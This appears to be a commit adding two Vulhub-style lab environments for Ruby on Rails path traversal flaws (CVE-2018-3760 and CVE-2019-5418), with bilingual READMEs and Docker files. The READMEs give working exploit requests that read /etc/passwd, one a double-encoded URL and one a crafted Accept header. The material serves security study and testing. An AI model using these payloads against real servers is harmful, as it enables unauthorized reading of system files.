first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
rails/CVE-2018-3760/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

BIN
rails/CVE-2018-3760/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -0,0 +1,37 @@
# Ruby On Rails Path Traversal VulnerabilityCVE-2018-3760
[中文版本(Chinese version)](README.zh-cn.md)
Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files.
There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server.
Reference links
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542
## Environment setup
Enter the following command
```
docker compose up -d
```
Visit `http://your-ip:3000` and you'll see the welcome page.
## POC
It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory.
![](1.png)
We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`:
```
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
```
![](2.png)

View File

@@ -0,0 +1,35 @@
# Ruby On Rails 路径穿越漏洞CVE-2018-3760
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器Ruby On Rails是著名Ruby Web开发框架Sprockets是编译及分发静态资源文件的Ruby库。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用`%252e%252e/`来跨越到根目录,读取或执行目标服务器上任意文件。
参考链接:
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542
## 环境搭建
启动一个用Ruby On Rails脚手架生成的默认站点
```
docker compose up -d
```
访问`http://your-ip:3000`即可查看到欢迎页面。
## 漏洞复现
直接访问`http://your-ip:3000/assets/file:%2f%2f/etc/passwd`,将会报错,因为文件`/etc/passwd`不在允许的目录中:
![](1.png)
我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如`/usr/src/blog/app/assets/images`,然后使用`%252e%252e/`向上一层跳转,最后读取`/etc/passwd`
```
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
```
![](2.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
web:
image: vulhub/rails:5.0.7
ports:
- "3000:3000"

BIN
rails/CVE-2019-5418/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 100 KiB

View File

@@ -0,0 +1,18 @@
FROM vulhub/rails:5.2.2
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rails generate controller vulhub \
&& { \
echo 'class VulhubController < ApplicationController'; \
echo ' def index'; \
echo ' render file: "#{Rails.root}/public/robots.txt"'; \
echo ' end'; \
echo 'end'; \
} > app/controllers/vulhub_controller.rb \
&& { \
echo 'Rails.application.routes.draw do'; \
echo " get 'robots', to: 'vulhub#index'"; \
echo 'end'; \
} > config/routes.rb

View File

@@ -0,0 +1,48 @@
# Ruby on Rails Path Traversal and Arbitrary File Read (CVE-2019-5418)
[中文版本(Chinese version)](README.zh-cn.md)
Ruby on Rails is a web application framework that allows developers to build web applications quickly and easily.
There is a local file inclusion vulnerability in Ruby on Rails action view <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3.
When using `render file` in a controller to render views outside the application, Rails determines the file location based on the user-supplied Accept header. By sending an Accept header with the value `Accept: ../../../../../../../../etc/passwd{{`, attackers can exploit a path traversal vulnerability to read arbitrary files.
References:
- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
- https://github.com/mpgn/CVE-2019-5418
- https://xz.aliyun.com/t/4448
## Environment Setup
Execute the following command to compile and start Ruby on Rails 5.2.2:
```
docker compose build
docker compose up -d
```
After the server starts, visit `http://your-ip:3000` to see the Ruby on Rails welcome page.
## Vulnerability Reproduction
Visit `http://your-ip:3000/robots` to see that the normal robots.txt file is being read.
To exploit the vulnerability, send the following request to read `/etc/passwd`:
```
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
Successfully read the file:
![](1.png)

View File

@@ -0,0 +1,44 @@
# Ruby on Rails 路径穿越与任意文件读取漏洞CVE-2019-5418
Ruby on Rails 是一个用于快速构建Web应用的框架。
在Ruby on Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3时当使用`render file`在控制器中渲染应用之外的视图时会根据用户传入的Accept头来确定文件具体位置我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞读取和包含任意文件
参考链接
- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
- https://github.com/mpgn/CVE-2019-5418
- https://xz.aliyun.com/t/4448
## 环境搭建
执行如下命令编译及启动Ruby on Rails 5.2.2
```
docker compose build
docker compose up -d
```
环境启动后访问`http://your-ip:3000`即可看到Ruby on Rails的欢迎页面
## 漏洞复现
访问`http://your-ip:3000/robots`可见正常的robots.txt文件被读取出来
利用漏洞发送如下数据包读取`/etc/passwd`
```
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
成功读取
![](1.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
web:
build: .
ports:
- "3000:3000"